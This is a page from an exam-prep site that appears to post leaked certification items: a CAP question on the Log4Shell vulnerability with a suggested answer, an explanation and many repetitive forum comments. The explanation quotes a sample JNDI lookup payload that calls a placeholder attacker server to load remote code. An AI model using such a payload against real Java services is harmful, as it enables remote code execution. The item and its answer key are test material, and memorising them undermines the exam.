Deal of The Day! Hurry Up, Grab the Special Discount - Save 25% - Ends In 00:00:00 Coupon code: SAVE25
Welcome to Pass4Success

- Free Preparation Discussions

The SecOps Group CAP Exam - Topic 12 Question 95 Discussion

Posted by Sharen on Jun 11, 2025 at 10:39 AM

In the context of the infamous log4j vulnerability (CVE-2021-44228), which vulnerability is exploited in the backend to achieve Remote Code Execution?

Suggested Answer: B

The Log4j vulnerability, identified as CVE-2021-44228 (commonly known as Log4Shell), is a critical security flaw in the Apache Log4j library, a widely used logging framework in Java applications. This vulnerability allows remote code execution (RCE) when an attacker crafts a malicious input (e.g., ${jndi:ldap://malicious.com/a}) that is logged by a vulnerable Log4j instance. The exploit leverages JNDI (Java Naming and Directory Interface) Injection, where the JNDI lookup mechanism is abused to load remote code from an attacker-controlled server. All options (A, B, and C) list 'JNDI Injection,' which is correct, but since B is marked as the selected answer in the image, it is taken as the intended choice. This redundancy in options suggests a possible error in the question design, but the vulnerability is unequivocally JNDI Injection. Option D ('None of the above') is incorrect as JNDI Injection is the exploited vulnerability. This topic is critical in the CAP syllabus under injection attacks and RCE prevention.


Get Premium CAP Questions as Interactive Web-Based Practice Test or PDF Real Exam Format Detailed Explanations Instant Access Get Your Practice Test
32 comments · newest first
ED
Edwin 9 months ago
I thought there were other vulnerabilities involved too?
BE
Beckie 10 months ago
Wait, are we sure it's not something else?
ER
Ernest 10 months ago
It's definitely JNDI Injection!
CR
Cristy 10 months ago
Totally agree, that's the main exploit here.
LE
Lea 10 months ago
JNDI Injection all the way! No doubt about it.
JO
Joni 11 months ago
I thought there was something about JNDI Injection being exploited, but I can't remember if it was all the same or if there were different types.
CO
Colby 11 months ago
I'm a bit unsure, but I remember JNDI being a key part of the log4j vulnerability. Maybe it's option A?
GR
Gregoria 11 months ago
I recall practicing a question about JNDI Injection in relation to log4j, so I feel like it has to be one of those answers.
MA
Marti 11 months ago
I think the answer is JNDI Injection, but I can't remember if it's specifically one of the options listed.
JO
Joye 12 months ago
The answer is definitely JNDI Injection. I studied this vulnerability extensively, so I'm confident that's the right choice.
RO
Rory 12 months ago
I'm a little confused by this question. I'll need to think it through carefully and make sure I understand the details before answering.
NO
Noah 12 months ago
JNDI Injection sounds right to me. That's the key vulnerability that allowed the remote code execution, if I remember correctly.
XO
Xochitl 1 year ago
Hmm, I'm a bit unsure about this one. I'll need to review the details of the log4j vulnerability again to be confident in my answer.
RO
Rosita 1 year ago
I'm pretty sure the answer is JNDI Injection, since that's the vulnerability that was exploited in the log4j incident.
MI
Michael 1 year ago
D) None of the above - just kidding, it's clearly JNDI Injection. I'd have to be log4j-less to get this one wrong.
RO
Ronald 1 year ago
JNDI Injection, JNDI Injection, JNDI Injection... talk about a one-trick pony of an exam question!
AH
Ahmed 1 year ago
Hmm, all the options say JNDI Injection. I guess the exam writers really want to drive that point home!
KA
Kami 1 year ago
↳ replying to Ahmed
Hmm, all the options say JNDI Injection. I guess the exam writers really want to drive that point home!
JE
Jennifer 1 year ago
↳ replying to Ahmed
C) JNDI Injection
MA
Marguerita 1 year ago
↳ replying to Ahmed
B) JNDI Injection
CA
Carmela 1 year ago
↳ replying to Ahmed
A) JNDI Injection
SA
Sanda 1 year ago
I'm not sure, but I think it's A) JNDI Injection as well. It makes sense given the nature of the log4j vulnerability.
BE
Bettyann 1 year ago
B) JNDI Injection - I learned about this in my security training. Definitely the correct answer.
LO
Lonny 1 year ago
↳ replying to Bettyann
D) None of the above - Actually, it is JNDI Injection that is exploited for Remote Code Execution.
WA
Wava 1 year ago
↳ replying to Bettyann
B) JNDI Injection - Yes, that's the one! It's crucial to be aware of these vulnerabilities.
AM
Amie 1 year ago
↳ replying to Bettyann
A) JNDI Injection - That's correct! It's the vulnerability exploited in the backend for Remote Code Execution.
MA
Marva 1 year ago
I agree with Louvenia, JNDI Injection is the vulnerability exploited for Remote Code Execution.
ME
Merissa 1 year ago
JNDI Injection for sure! That's the key vulnerability that allows the log4j exploit to work.
RE
Reta 1 year ago
↳ replying to Merissa
Definitely JNDI Injection, that's what enables the exploit to achieve Remote Code Execution.
FA
Fausto 1 year ago
↳ replying to Merissa
Yes, JNDI Injection is the key vulnerability that allows the log4j exploit to work.
MI
Ming 1 year ago
↳ replying to Merissa
JNDI Injection is definitely the vulnerability exploited for Remote Code Execution.
LO
Louvenia 1 year ago
I think the answer is A) JNDI Injection.
0/2000 characters

Save Cancel